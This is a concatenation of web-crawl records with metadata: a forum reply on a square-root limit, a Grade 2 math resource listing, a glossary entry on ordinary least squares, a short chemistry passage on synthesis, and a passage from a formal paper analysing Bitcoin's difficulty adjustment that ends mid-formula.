hoping I did it the same way he did because I didn't read his post in detail) and start by pulling out all the square roots by making sure that the denominator and numerator share the same square root over the entire expresion.\n\nThen apply that technique inside the nested root. It'll all simplify to something which you can evaluate the limit to.\nRight. l'Hopital gets messy. But you can write both numerator and denominator as sqrt(x) times something that goes to 1 as x->infinity. Just factor them both as sqrt(x)*something.\n\nl'Hopital gets messy indeed. But, hey, at least it's honest. :tongue2:\n\nDick" ]	[ null, "data:image/svg+xml;charset=utf-8,%3Csvg xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg' width='226' height='114' viewBox%3D'0 0 226 114'%2F%3E", null ]	{"ft_lang_label":"__label__en","ft_lang_prob":0.9499366,"math_prob":0.9220074,"size":897,"snap":"2020-34-2020-40","text_gpt3_token_len":210,"char_repetition_ratio":0.09854423,"word_repetition_ratio":0.0,"special_character_ratio":0.22408026,"punctuation_ratio":0.108571425,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.9931256,"pos_list":[0,1,2],"im_url_duplicate_count":[null,null,null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2020-08-15T05:36:21Z\",\"WARC-Record-ID\":\"<urn:uuid:624f4d77-9534-4272-97d3-6a68bac6d3df>\",\"Content-Length\":\"86557\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:3d914051-5f8c-4f96-922c-d67733b65612>\",\"WARC-Concurrent-To\":\"<urn:uuid:cb923b88-099a-4411-86ad-7bf28dacf7d2>\",\"WARC-IP-Address\":\"23.111.143.85\",\"WARC-Target-URI\":\"https://www.physicsforums.com/threads/nested-square-roots-limit.285577/\",\"WARC-Payload-Digest\":\"sha1:B3RT7ZQIFROEB4BWG347PFQDG3M7VONG\",\"WARC-Block-Digest\":\"sha1:QZNXJBER654IPK5AKRT2OOUJWFTPEIEH\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2020/CC-MAIN-2020-34/CC-MAIN-2020-34_segments_1596439740679.96_warc_CC-MAIN-20200815035250-20200815065250-00536.warc.gz\"}"}
https://www.teachstarter.com/us/teaching-resource/math-warm-ups-interactive-powerpoint-grade-2/	[ "# Math Warm-Ups Interactive PowerPoint - Grade 2\n\n0\n3\nPDF, PowerPoint \| 23 pages\|Grade: 2\n\nA PowerPoint providing a series of warm-up activities for Grade 2 students across the mathematics curriculum.\n\nThis teaching resource is an interactive PowerPoint which provides a series of mathematical warm-up activities that cover areas across the curriculum. You can do these quick activities to help warm up for a particular focus lesson, or use them to break up the day to keep students fresh for learning. Some activities supply instructions for interactive games and other are interactive templates which you can display on your classroom whiteboard with a projector.\n\nSpecific topics include:\n\n#### Common Core Curriculum alignment\n\n• CCSS.MATH.CONTENT.2.G.A.2\n\nPartition a rectangle into rows and columns of same-size squares and count to find the total number of them.\n\n• CCSS.MATH.CONTENT.2.G.A.3\n\nPartition circles and rectangles into two, three, or four equal shares, describe the shares using the words halves, thirds, half of, a third of, etc., and describe the whole as two halves, three thirds, four fourths. Recognize that equal shares of id...\n\n• CCSS.MATH.CONTENT.2.MD.A.1\n\nMeasure the length of an object by selecting and using appropriate tools such as rulers, yardsticks, meter sticks, and measuring tapes.\n\n• CCSS.MATH.CONTENT.2.MD.A.2\n\nMeasure the length of an object twice, using length units of different lengths for the two measurements; describe how the two measurements relate to the size of the unit chosen.\n\n• CCSS.MATH.CONTENT.2.MD.B.6\n\nRepresent whole numbers as lengths from 0 on a number line diagram with equally spaced points corresponding to the numbers 0, 1, 2, ..., and represent whole-number sums and differences within 100 on a number line diagram.\n\n• CCSS.MATH.CONTENT.2.MD.C.7\n\nTell and write time from analog and digital clocks to the nearest five minutes, using a.m. and p.m.\n\n• CCSS.MATH.CONTENT.2.MD.C.8\n\nSolve word problems involving dollar bills, quarters, dimes, nickels, and pennies, using \\$ and ¢ symbols appropriately. Example: If you have 2 dimes and 3 pennies, how many cents do you have?\n\n• CCSS.MATH.CONTENT.2.MD.D.10\n\nDraw a picture graph and a bar graph (with single-unit scale) to represent a data set with up to four categories. Solve simple put-together, take-apart, and compare problems1 using information presented in a bar graph.\n\n• CCSS.MATH.CONTENT.2.NBT.A.1\n\nUnderstand that the three digits of a three-digit number represent amounts of hundreds, tens, and ones; e.g., 706 equals 7 hundreds, 0 tens, and 6 ones. Understand the following as special cases:\n\n• CCSS.MATH.CONTENT.2.NBT.A.2\n\nCount within 1000; skip-count by 5s, 10s, and 100s.\n\n• CCSS.MATH.CONTENT.2.NBT.B.5\n\nFluently add and subtract within 100 using strategies based on place value, properties of operations, and/or the relationship between addition and subtraction.\n\n• CCSS.MATH.CONTENT.2.NBT.B.6\n\nAdd up to four two-digit numbers using strategies based on place value and properties of operations.\n\n• CCSS.MATH.CONTENT.2.OA.C.3\n\nDetermine whether a group of objects (up to 20) has an odd or even number of members, e.g., by pairing objects or counting them by 2s; write an equation to express an even number as a sum of two equal addends.\n\n• CCSS.MATH.CONTENT.2.OA.C.4\n\nUse addition to find the total number of objects arranged in rectangular arrays with up to 5 rows and up to 5 columns; write an equation to express the total as a sum of equal addends.", null, "Write a review to help other teachers and parents like yourself. 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Read more..." ]	[ null, "https://www.teachstarter.com/wp-content/uploads/2020/01/TS_logo_3000px-150x150.png", null ]	{"ft_lang_label":"__label__en","ft_lang_prob":0.85905766,"math_prob":0.89759445,"size":4814,"snap":"2021-31-2021-39","text_gpt3_token_len":1095,"char_repetition_ratio":0.121829525,"word_repetition_ratio":0.022824537,"special_character_ratio":0.20814292,"punctuation_ratio":0.18969072,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.9801417,"pos_list":[0,1,2],"im_url_duplicate_count":[null,null,null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2021-07-23T21:56:27Z\",\"WARC-Record-ID\":\"<urn:uuid:9ce998ed-02da-4dc1-b2d0-9af64f6e196a>\",\"Content-Length\":\"242109\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:97b718e2-a01a-4ec1-a70d-5bfe6c95a191>\",\"WARC-Concurrent-To\":\"<urn:uuid:f7cb34a9-fd1c-40a1-a00a-f49bb3b4aa7b>\",\"WARC-IP-Address\":\"104.22.26.76\",\"WARC-Target-URI\":\"https://www.teachstarter.com/us/teaching-resource/math-warm-ups-interactive-powerpoint-grade-2/\",\"WARC-Payload-Digest\":\"sha1:GJ4PXD5VU4FLI44OPSFIUY3DQ3GFVXMB\",\"WARC-Block-Digest\":\"sha1:PYIWV57LYLOVPSLVDT77LYKF6A3GV6N6\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2021/CC-MAIN-2021-31/CC-MAIN-2021-31_segments_1627046150067.51_warc_CC-MAIN-20210723210216-20210724000216-00027.warc.gz\"}"}
https://deepai.org/machine-learning-glossary-and-terms/ordinary-least-squares	[ "", null, "", null, "# Ordinary Least Squares\n\n## What is Ordinary Least Squares?\n\nOrdinary Least Squares is a form of statistical regression used as a way to predict unknown values from an existing set of data. An example of a scenario in which one may use Ordinary Least Squares, or OLS, is in predicting shoe size from a data set that includes height and shoe size. Given the data, one can use the ordinary least squares formula to create a rate of change and predict shoe size, given a subject's height. In short, OLS takes an input, the independent variable, and produces an output, the dependent variable.\n\n## How does Ordinary Least Squares work?\n\nOrdinary Least Squares works by taking the input, an independent variable, and combines it with other variables known as betas through addition and multiplication. The first beta is known simply as \"beta_1\" and is used to calculate the slope of the function. In essence, it tells you what the output would be if the input was zero. The second beta is called \"beta_2\" and represents the coefficient, or how much of a difference there is between increments in the independent variable.\n\nSource\n\nTo find the betas, OLS uses the errors, the vertical distance between a data point and a regression line, to calculate the best slope for the data. The image above exemplifies the concept of determining the squares of the errors to find the regression line. OLS squares the errors and finds the line that goes through the sample data to find the smallest value for the sum of all of the squared errors.\n\n### Ordinary Least Squares and Machine Learning\n\nAs ordinary least squares is a form of regression, used to inform predictions about sample data, it is widely used in machine learning. Using the example mentioned above, a machine learning algorithm can process and analyze specific sample data that includes information on both height and shoe size. Given the the data points, and using ordinary least squares, the algorithm can begin to make predictions about an individual's shoe size given their height and given the sample data." ]	[ null, "https://deepai.org/static/images/logo.png", null, "https://deepai.org/static/images/glossary-icon.png", null ]	{"ft_lang_label":"__label__en","ft_lang_prob":0.9110437,"math_prob":0.99210703,"size":2013,"snap":"2020-45-2020-50","text_gpt3_token_len":406,"char_repetition_ratio":0.13439523,"word_repetition_ratio":0.01179941,"special_character_ratio":0.19274715,"punctuation_ratio":0.094986804,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.99858737,"pos_list":[0,1,2,3,4],"im_url_duplicate_count":[null,null,null,null,null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2020-10-27T00:34:19Z\",\"WARC-Record-ID\":\"<urn:uuid:bb10dec2-d02e-4bd2-946a-67e346920969>\",\"Content-Length\":\"94243\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:403a7be9-24e8-4560-87bc-cdae77004361>\",\"WARC-Concurrent-To\":\"<urn:uuid:fb368fa1-4013-4fcc-b9cf-9d1bb57bc98f>\",\"WARC-IP-Address\":\"52.26.36.19\",\"WARC-Target-URI\":\"https://deepai.org/machine-learning-glossary-and-terms/ordinary-least-squares\",\"WARC-Payload-Digest\":\"sha1:GPAYTKAFFDWVQXTJQFLHFMJLYDEVIHFJ\",\"WARC-Block-Digest\":\"sha1:VMMSIN2OAT3I5DMWTZELKX2SA7PIWSX3\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2020/CC-MAIN-2020-45/CC-MAIN-2020-45_segments_1603107892710.59_warc_CC-MAIN-20201026234045-20201027024045-00496.warc.gz\"}"}
https://chestofbooks.com/crafts/metal/Applied-Science-Metal-Workers/135-Synthesis.html	[ "As already stated, when the proper proportions by weight of oxygen and hydrogen are mixed and a spark passed through, water is formed. This change, often called a reaction, may be written as follows:\n\n 2H + O = H1O 2 atoms of hydrogen combined with 1 atom of oxygen forms 1 molecule of water\n\nAbbreviating a reaction in this manner is called writing a chemical equation. In a very concise form it shows: on the left-hand side of the equation the substances (called factors) which enter the reaction, on the right-hand side the products, and also the exact amount of each that must be taken or formed. Once the products are determined (usually by experiments), the equation may be written and balanced by having the same number of atoms of the elements on each side of the equation. Forming compounds by combining elements is called synthesis." ]	[ null ]	{"ft_lang_label":"__label__en","ft_lang_prob":0.95175576,"math_prob":0.98695385,"size":1006,"snap":"2019-35-2019-39","text_gpt3_token_len":214,"char_repetition_ratio":0.10878243,"word_repetition_ratio":0.0,"special_character_ratio":0.20576541,"punctuation_ratio":0.104166664,"nsfw_num_words":0,"has_unicode_error":false,"math_prob_llama3":0.95560867,"pos_list":[0],"im_url_duplicate_count":[null],"WARC_HEADER":"{\"WARC-Type\":\"response\",\"WARC-Date\":\"2019-08-23T19:43:23Z\",\"WARC-Record-ID\":\"<urn:uuid:42e55e58-854b-4f7b-ba98-952d77207acc>\",\"Content-Length\":\"16517\",\"Content-Type\":\"application/http; msgtype=response\",\"WARC-Warcinfo-ID\":\"<urn:uuid:611db64f-f458-4ee8-b41a-c9675c53f007>\",\"WARC-Concurrent-To\":\"<urn:uuid:66326753-ee04-4b51-ba8b-d485feb70afe>\",\"WARC-IP-Address\":\"208.70.246.108\",\"WARC-Target-URI\":\"https://chestofbooks.com/crafts/metal/Applied-Science-Metal-Workers/135-Synthesis.html\",\"WARC-Payload-Digest\":\"sha1:ZFJYH4JMWZGHKRQ6HDOCSHUPRXKBOUEA\",\"WARC-Block-Digest\":\"sha1:SEARHV35B6E3E7R5ZLTUY56JOPNJZCPG\",\"WARC-Identified-Payload-Type\":\"text/html\",\"warc_filename\":\"/cc_download/warc_2019/CC-MAIN-2019-35/CC-MAIN-2019-35_segments_1566027318986.84_warc_CC-MAIN-20190823192831-20190823214831-00178.warc.gz\"}"}
https://link.springer.com/chapter/10.1007/978-3-319-63688-7_10	[ "# The Bitcoin Backbone Protocol with Chains of Variable Difficulty\n\nConference paper\nPart of the Lecture Notes in Computer Science book series (LNCS, volume 10401)\n\n## Abstract\n\nBitcoin’s innovative and distributedly maintained blockchain data structure hinges on the adequate degree of difficulty of so-called “proofs of work,” which miners have to produce in order for transactions to be inserted. Importantly, these proofs of work have to be hard enough so that miners have an opportunity to unify their views in the presence of an adversary who interferes but has bounded computational power, but easy enough to be solvable regularly and enable the miners to make progress. As such, as the miners’ population evolves over time, so should the difficulty of these proofs. Bitcoin provides this adjustment mechanism, with empirical evidence of a constant block generation rate against such population changes.\n\nIn this paper we provide the first formal analysis of Bitcoin’s target (re)calculation function in the cryptographic setting, i.e., against all possible adversaries aiming to subvert the protocol’s properties. We extend the q-bounded synchronous model of the Bitcoin backbone protocol [Eurocrypt 2015], which posed the basic properties of Bitcoin’s underlying blockchain data structure and shows how a robust public transaction ledger can be built on top of them, to environments that may introduce or suspend parties in each round.\n\nWe provide a set of necessary conditions with respect to the way the population evolves under which the “Bitcoin backbone with chains of variable difficulty” provides a robust transaction ledger in the presence of an actively malicious adversary controlling a fraction of the miners strictly below $$50\\%$$ at each instant of the execution. Our work introduces new analysis techniques and tools to the area of blockchain systems that may prove useful in analyzing other blockchain protocols.\n\n## 1 Introduction\n\nThe Bitcoin backbone extracts and analyzes the basic properties of Bitcoin’s underlying blockchain data structure, such as “common prefix” and “chain quality,” which parties (“miners”) maintain and try to extend by generating “proofs of work” (POW, aka “cryptographic puzzles” [1, 8, 14, 23])1. It is then formally shown in how fundamental applications including consensus [17, 22] and a robust public transaction ledger realizing a decentralized cryptocurrency (e.g., Bitcoin ) can be built on top of them, assuming that the hashing power of an adversary controlling a fraction of the parties is strictly less than 1/2.\n\nThe results in , however, hold for a static setting, where the protocol is executed by a fixed number of parties (albeit not necessarily known to the participants), and therefore with POWs (and hence blockchains) of fixed difficulty. This is in contrast to the actual deployment of the Bitcoin protocol where a “target (re)calculation” mechanism adjusts the hardness level of POWs as the number of parties varies during the protocol execution. In more detail, in the target T that the hash function output must not exceed, is set and hardcoded at the beginning of the protocol, and in such a way that a specific relation to the number of parties running the protocol is satisfied, namely, that a ratio f roughly equal to $$q n T/2^{\\kappa }$$ is small, where q is the number of queries to the hash function that each party is allowed per round, n is the number of parties, and $$\\kappa$$ is the length of the hash function output. Security was only proven when the number of parties is n and the choice of target T is never recalculated, thus leaving as open question the full analysis of the protocol in a setting where, as in the real world, parties change dynamically over time.\n\nIn this paper, we abstract for the first time the target recalculation algorithm from the Bitcoin system, and present a generalization and analysis of the Bitcoin backbone protocol with chains of variable difficulty, as produced by an evolving population of parties, thus answering the aforementioned open question.\n\nIn this setting, there is a parameter m which determines the length of an “epoch” in number of blocks.2 When a party prepares to compute the j-th block of a chain with $$j \\bmod m = 1$$, it uses a target calculation algorithm that determines the proper target value to use, based on the party’s local view about the total number of parties that are present in the system, as reflected by the rate of blocks that have been created so far and are part of the party’s chain. (Each block contains a timestamp of when it was created; in our synchronous setting, timestamps will correspond to the round numbers when blocks are created—see Sect. 2.) To accomodate the evolving population of parties, we extend the model of to environments that are free to introduce and suspend parties in each round. In other respects, we follow the model of , where all parties have the same “hashing power,” with each one allowed to pose q queries to the hash function that is modeled as a “random oracle” . We refer to our setting as the dynamic q -bounded synchronous setting.\n\nIn order to give an idea of the issues involved, we note that without a target calculation mechanism, in the dynamic setting the backbone protocol is not secure even if all parties are honest and follow the protocol faithfully. Indeed, it is easy to see that a combination of an environment that increases the number of parties and adversarial network conditions can lead to substantial divergence (a.k.a. “forks”) in the chains of the honest parties, leading to the violation of the agreement-type properties that are needed for the applications of the protocol, such as maintaining a robust transaction ledger. The attack is simple: the environment increases the number of parties constantly so that the block production rate per round increases (which is roughly the parameter f mentioned above); then, adversarial network conditions may divide the parties into two sets, A and B, and schedule message delivery so that parties in set A receive blocks produced by parties in A first, and similarly for set B. According to the Bitcoin protocol, parties adopt the block they see first, and thus the two sets will maintain two separate blockchains.\n\nWhile this specific attack could in principle be thwarted by modifying the Bitcoin backbone (e.g., by randomizing which block a party adopts when they receive in the same round two blocks of the same index in the chain), it certainly would not cope with all possible attacks in the presence of a full-blown adversary and target recalculation mechanism. Indeed, such an attack was shown in , where by mining “privately” with timestamps in rapid succession, corrupt miners are able to induce artificially high targets in their private chain; even though such chain may grow slower than the main chain, it will still make progress and, via an anti-concentration argument, a sudden adversarial advance that can break agreement amongst honest parties cannot be ruled out.\n\nGiven the above, our main goal is to show that the backbone protocol with a Bitcoin-like target recalculation function satisfies the common prefix and chain quality properties, as an intermediate step towards proving that the protocol implements a robust transaction ledger. Expectedly, the class of protocols we will analyze will not preserve its properties for arbitrary ways in which the number of parties may change over time. In order to bound the error in the calibration of the block generation rate that the target recalculation function attempts, we will need some bounds on the way the number of parties may vary. For $$\\gamma \\in \\mathbb {R}^+$$ and $$s\\in \\mathbb {N}$$, we will call a sequence $$(n_r)_{r \\in \\mathbb {N}}$$ of parties $$(\\gamma ,s)$$ -respecting if it holds that in a sequence of rounds S with $$\|S\|\\le s$$, $$\\max _{r\\in S} n_r \\le \\gamma \\cdot \\min _{r\\in S} n_r$$, and will determine for what values of these parameters the backbone protocol is secure.\n\nAfter formally describing blockchains of variable difficulty and the Bitcoin backbone protocol in this setting, at a high level our analysis goes as follows. We first introduce the notion of goodness regarding the approximation that is performed on f in an epoch. In more detail, we call a round r $$(\\eta ,\\theta )$$ -good, for some parameters $$\\eta ,\\theta \\in \\mathbb {R}^+$$, if the value $$f_r$$ computed for the actual number of parties and target used in round r by some honest party, falls in the range $$[\\eta f, \\theta f]$$, where f is the initial block production rate (note that the first round is always assumed good). Together with “goodness” we introduce the notion of typical executions, in which, informally, for any set S of consecutive rounds the successes of the adversary and the honest parties do not deviate too much from their expectations as well as no “bad” event concerning the hash function occurs (such as a collision). Using a martingale bound we demonstrate that almost all polynomially bounded (in $$\\kappa$$) executions are typical.\n\nNext, we proceed to show that in a typical execution any chain that an honest party adopts (1) contains timestamps that are approximately accurate (i.e., no adversarial block has a timestamp that differs too much from its real creation time), and (2) it has a target such that the probability of block production remains near the fixed constant f, i.e., it is “good.” Finally, these properties allow us to demonstrate that a typical execution enjoys the common prefix and chain quality properties, which is a stepping stone towards the ultimate goal, that of establishing that the backbone protocol with variable difficulty implements a robust transaction ledger. Specifically, we show the following:\n\nMain Result. (Informal—see Theorems 4 and 5). The Bitcoin backbone protocol with chains of variable difficulty, suitably parameterized, satisfies with overwhelming probability in m and $$\\kappa$$ the properties of (1) persistence—if a transaction $$tx$$ is confirmed by an honest party, no honest party will ever disagree about the position of $$tx$$ in the ledger, and (2) liveness—if a transaction $$tx$$ is broadcast, it will eventually become confirmed by all honest parties.\n\nRemark. Regarding the actual parameterization of the Bitcoin system (that uses epochs of $$m=2016$$ blocks), even though it is consistent with all the constraints of our theorems (cf. Remark 3 in Sect. 6.1), it cannot be justified by our martingale analysis. In fact, our probabilistic analysis would require much longer epochs to provide a sufficiently small probability of attack. Tightening the analysis or discovering attacks for parameterizations beyond our security theorems is an interesting open question.\n\nFinally, we note that various extensions to our model are relevant to the Bitcoin system and constitute interesting directions for further research. Importantly, a security analysis in the “rational” setting (see, e.g., [9, 15, 24]), and in the “partially synchronous,” or “bounded-delay” network model [7, 21]3.\n\n## 2 Model and Definitions\n\nWe describe our protocols in a model that extends the synchronous communication network model presented in [10, 11] for the analysis of the Bitcoin backbone protocol in the static setting with a fixed number of parties (which in turn is based on Canetti’s formulation of “real world” notion of protocol execution [4, 5, 6] for multi-party protocols) to the dynamic setting with a varying number of parties. In this section we provide a high-level overview of the model, highlighting the differences that are intrinsic to our dynamic setting.\n\nRound Structure and Protocol Execution. As in , the protocol execution proceeds in rounds with inputs provided by an environment program denoted by $$\\mathcal {Z}$$ to parties that execute the protocol $$\\varPi$$, and our adversarial model in the network is “adaptive,” meaning that the adversary $$\\mathcal {A}$$ is allowed to take control of parties on the fly, and “rushing,” meaning that in any given round the adversary gets to see all honest players’ messages before deciding his strategy. The parties’ access to the hash function and their communication mechanism are captured by a joint random oracle/diffusion functionality which reflects Bitcoin’s peer structure. The diffusion functionality, , allows the order of messages to be controlled by $$\\mathcal {A}$$, i.e., there is no atomicity guarantees in message broadcast , and, furthermore, the adversary is allowed to spoof the source information on every message (i.e., communication is not authenticated). Still, the adversary cannot change the contents of the messages nor prevent them from being delivered. We will use Diffuse as the message transmission command that captures this “send-to-all” functionality.\n\nThe parties that may become active in a protocol execution are encoded as part of a control program C and come from a universe $$\\mathcal {U}$$ of parties.\n\nThe protocol execution is driven by an environment program $$\\mathcal {Z}$$ that interacts with other instances of programs that it spawns at the discretion of the control program C. The pair $$(\\mathcal {Z}, C)$$ forms of a system of interactive Turing machines (ITM’s) in the sense of . The execution is with respect to a program $$\\varPi$$, an adversary $$\\mathcal {A}$$ (which is another ITM) and the universe of parties $$\\mathcal {U}$$. Assuming the control program C allows it, the environment $$\\mathcal {Z}$$ can activate a party by writing to its input tape. Note that the environment $$\\mathcal {Z}$$ also receives the parties’ outputs when they are produced in a standard subroutine-like interaction. Additionally, the control program maintains a flag for each instance of an ITM, (abbreviated as ITI in the terminology of ), that is called the $$\\mathtt {ready}$$ flag and is initially set to false for all parties.\n\nThe environment $$\\mathcal {Z}$$, initially is restricted by C to spawn the adversary $$\\mathcal {A}$$. Each time the adversary is activated, it may send one or more messages of the form $$(\\mathsf {Corrupt}, P_i)$$ to C and C will mark the corresponding party as corrupted.\n\nFunctionalities Available to the Protocol. The ITI’s of protocol $$\\varPi$$ will have access to a joint ideal functionality capturing the random oracle and the diffusion mechanism which is defined in a similar way as and is explained below.\n\n• The random oracle functionality. Given a query with a value x marked for “calculation” for the function $$H(\\cdot )$$ from an honest party $$P_i$$ and assuming x has not been queried before, the functionality returns a value y which is selected at random from $$\\{0,1\\}^\\kappa$$; furthermore, it stores the pair (xy) in the table of $$H(\\cdot )$$, in case the same value x is queried in the future. Each honest party $$P_i$$ is allowed to ask q queries in each round as determined by the diffusion functionality (see below). On the other hand, each honest party is given unlimited queries for “verification” for the function $$H(\\cdot )$$. The adversary $$\\mathcal {A}$$, on the other hand, is given a bounded number queries in each round as determined by diffusion functionality with a bound that is initialized to 0 and determined as follows: whenever a corrupted party is activated, the party can ask the bound to be increased by q; each time a query is asked by the adversary the bound is decreased by 1. No verification queries are provided to $$\\mathcal {A}$$. Note that the value q is a polynomial function of $$\\kappa$$, the security parameter. The functionality can maintain tables for functions other than $$H(\\cdot )$$ but, by convention, the functionality will impose query quotas to function $$H(\\cdot )$$ only.\n\n• The diffusion functionality. This functionality keeps track of rounds in the protocol execution; for this purpose it initially sets a variable round to be 1. It also maintains a Receive() string defined for each party $$P_i$$ in $$\\mathcal {U}$$. A party that is activated is allowed to query the functionality and fetch the contents of its personal Receive() string. Moreover, when the functionality receives a message $$(\\mathsf {Diffuse}, m)$$ from party $$P_i$$ it records the message m. A party $$P_i$$ can signal when it is complete for the round by sending a special message $$(\\mathsf {RoundComplete})$$. With respect to the adversary $$\\mathcal {A}$$, the functionality allows it to receive the contents of all contents sent in $$\\mathsf {Diffuse}$$ messages for the round and specify the contents of the Receive() string for each party $$P_i$$. The adversary has to specify when it is complete for the current round. When all parties are complete for the current round, the functionality inspects the contents of all Receive() strings and includes any messages m that were diffused by the parties in the current round but not contributed by the adversary to the Receive() tapes (in this way guaranteeing message delivery). It also flushes any old messages that were diffused in previous rounds and not diffused again. The variable round is then incremented.\n\nThe Dynamic $${\\varvec{q}}$$ -Bounded Synchronous Setting. Consider $$\\mathbf {n} = \\{n_r\\}_{r\\in \\mathbb {N}}$$ and $$\\mathbf {t} = \\{t_r\\}_{r\\in \\mathbb {N}}$$ two series of natural numbers. As mentioned, the first instance that is spawned by $$\\mathcal {Z}$$ is the adversary $$\\mathcal {A}$$. Subsequently the environment may spawn (or activate if they are already spawned) parties $$P_i\\in \\mathcal {U}$$. The control program maintains a counter in each sequence of activations and matches it with the current round that is maintained by the diffusion functionality. Each time an honest party diffuses a message containing the label “$$\\mathtt {ready}$$” the control program C increases the ready counter for the round. In round r, the control program C will enable the adversary $$\\mathcal {A}$$ to complete the round, only provided that (i) exactly $$n_r$$ parties have transmitted $$\\mathtt {ready}$$ message, (ii) the number of (“corrupt”) parties controlled by $$\\mathcal {A}$$ should match $$t_r$$.\n\nParties, when activated, are able to read their input tape $$\\mathrm{I}\\textsc {nput}()$$ and communication tape $$\\mathrm{R}\\textsc {eceive}()$$ from the diffusion functionality. Observe that parties are unaware of the set of activated parties. The Bitcoin backbone protocol requires from parties (miners) to calculate a POW. This is modeled in as parties having access to the oracle $$H(\\cdot )$$. The fact that (active) parties have limited ability to produce such POWs, is captured as in by the random oracle functionality and the fact that it paces parties to query a limited number of queries per round. The bound, q, is a function of the security parameter $$\\kappa$$; in this sense the parties may be called q-bounded4. We refer to the above restrictions on the environment, the parties and the adversary as the dynamic q -bounded synchronous setting.\n\nThe term $$\\{\\textsc {view} ^{P, \\mathbf {t},\\mathbf {n}}_{\\varPi , \\mathcal {A},\\mathcal {Z}}(z)\\}_{z\\in \\{0,1\\}^}$$ denotes the random variable ensemble describing the view of party P after the completion of an execution running protocol $$\\varPi$$ with environment $$\\mathcal {Z}$$ and adversary $$\\mathcal {A}$$, on input $$z\\in \\{0,1\\}^$$. We will only consider a “standalone” execution without any auxiliary information and we will thus restrict ourselves to executions with $$z = 1^\\kappa$$. For this reason we will simply refer to the ensemble by $$\\textsc {view} ^{P,\\mathbf {t},\\mathbf {n}}_{\\varPi ,\\mathcal {A},\\mathcal {Z}}$$. The concatenation of the view of all parties ever activated in the execution is denoted by $$\\textsc {view} ^{\\mathbf {t},\\mathbf {n}}_{\\varPi , \\mathcal {A},\\mathcal {Z}}$$.\n\nProperties of Protocols. In our theorems we will be concerned with properties of protocols $$\\varPi$$ running in the above setting. Such properties will be defined as predicates over the random variable $$\\textsc {view} ^{ \\mathbf {t},\\mathbf {n} }_{\\varPi , \\mathcal {A},\\mathcal {Z}}$$ by quantifying over all possible adversaries $$\\mathcal {A}$$ and environments $$\\mathcal {Z}$$. Note that all our protocols will only satisfy properties with a small probability of error in $$\\kappa$$ as well as in a parameter k that is selected from $$\\{1,\\ldots ,\\kappa \\}$$ (with foresight we note that in practice would be able to choose k to be much smaller than $$\\kappa$$, e.g., $$k=6$$).\n\nThe protocol class that we will analyze will not be able to preserve its properties for arbitrary sequences of parties. To restrict the way the sequence $$\\mathbf {n}$$ is fluctuating we will introduce the following class of sequences.\n\n### Definition 1\n\nFor $$\\gamma \\in \\mathbb {R}^+$$, we call a sequence $$(n_r)_{r \\in \\mathbb {N}}$$ $$(\\gamma ,s)$$ -respecting if for any set S of at most s consecutive rounds, $$\\max _{r\\in S} n_r \\le \\gamma \\cdot \\min _{r\\in S} n_r$$.\n\nObserve that the above definition is fairly general and also can capture exponential growth; e.g., by setting $$\\gamma =2$$ and $$s=10$$, it follows that every 10 rounds the number of ready parties may double. Note that this will not lead to an exponential running time overall since the total run time is bounded by a polynomial in $$\\kappa$$, (due to the fact that $$(\\mathcal {Z}, C)$$ is a system of ITM’s, $$\\mathcal {Z}$$ is locally polynomial bounded, C is a polynomial-time program, and thus [5, Proposition 3] applies).\n\nMore formally, a protocol $$\\varPi$$ would satisfy a property Q for a certain class of sequences $$\\mathbf {n}, \\mathbf {t}$$, provided that for all PPT $$\\mathcal {A}$$ and locally polynomial bounded $$\\mathcal {Z}$$, it holds that $$Q(\\textsc {view} ^{\\mathbf {t},\\mathbf {n}}_{\\varPi , \\mathcal {A},\\mathcal {Z}})$$ is true with overwhelming probability of the coins of $$\\mathcal {A},\\mathcal {Z}$$ and the random oracle functionality.\n\nIn this paper, we will be interested in $$(\\gamma , s)$$-respecting sequences $$\\mathbf {n}$$, sequences $$\\mathbf {t}$$ suitably restricted by $$\\mathbf {n}$$, and protocols $$\\varPi$$ suitably parameterized given $$\\mathbf {n}, \\mathbf {t}$$.\n\n## 3 Blockchains of Variable Difficulty\n\nWe start by introducing blockchain notation; we use similar notation to , and expand the notion of blockchain to explicitly include timestamps (in the form of a round indicator). Let $$G(\\cdot )$$ and $$H(\\cdot )$$ be cryptographic hash functions with output in $$\\{0,1\\}^\\kappa$$. A block with target $$T \\in \\mathbb {N}$$ is a quadruple of the form $$B=\\langle r, st, x, ctr\\rangle$$ where $$st\\in \\{0,1\\}^\\kappa , x \\in \\{0,1\\}^$$, and $$r,ctr\\in \\mathbb {N}$$ are such that they satisfy the predicate $$\\mathsf {validblock}^T_q(B)$$ defined as\n\\begin{aligned} ( H( ctr, G(r, st, x)) < T ) \\wedge (ctr\\le q). \\end{aligned}\nThe parameter $$q \\in \\mathbb {N}$$ is a bound that in the Bitcoin implementation determines the size of the register ctr; as in , in our treatment we allow q to be arbitrary, and use it to denote the maximum allowed number of hash queries in a round (cf. Sect. 2). We do this for convenience and our analysis applies in a straightforward manner to the case that ctr is restricted to the range $$0 \\le ctr <2^{32}$$ and q is independent of ctr.\n\nA blockchain, or simply a chain is a sequence of blocks. The rightmost block is the head of the chain, denoted $$\\mathrm {head}(\\mathcal {C})$$. Note that the empty string $$\\varepsilon$$ is also a chain; by convention we set $$\\mathrm {head}(\\varepsilon ) = \\varepsilon$$. A chain $$\\mathcal {C}$$ with $$\\mathrm {head}(\\mathcal {C}) = \\langle r, st,x,ctr\\rangle$$ can be extended to a longer chain by appending a valid block $$B = \\langle r', st', x', ctr' \\rangle$$ that satisfies $$st' = H( ctr, G(r , st,x) )$$ and $$r'>r$$, where $$r'$$ is called the timestamp of block B. In case $$\\mathcal {C}=\\varepsilon$$, by convention any valid block of the form $$\\langle r', 